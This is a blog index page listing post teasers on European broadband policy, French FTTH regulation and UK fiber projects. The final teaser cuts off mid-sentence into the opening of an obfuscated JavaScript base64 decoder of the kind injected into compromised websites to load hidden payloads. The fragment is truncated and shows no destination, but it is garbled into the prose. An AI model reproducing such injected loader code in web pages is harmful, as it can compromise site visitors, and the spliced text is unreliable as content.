Forget incentives to incumbents and eliminate hurdles to all others!

In a speech yesterday, EU commissioner for information society Neelie Kroes announced some new proposals to boost investment in Next-Generation Networks. The plan in a nutshell st

Boosting copper: necessary and dangerous

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Is the Rainbow Revolution just round the corner?

Uk_dp James Enck doesn't blog near enough these days, although it's perfectly understandable considering his new role at CFH

10 ways to wreck fiber…

In this digital age, it's all too easy to forget that there's a physical infrastructure underlying all the facebooks and google's of this

My views on the French FTTH regulatory context

Last Thursday I spoke at the Fête du Très-Haut Débit, an event organised every year by Acome in rural Normandy which attracts

UK FTTP scene crowded… with intentions!

Uk_dp Lately the UK broadband scene has seen a number of projects emerge. There's the function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)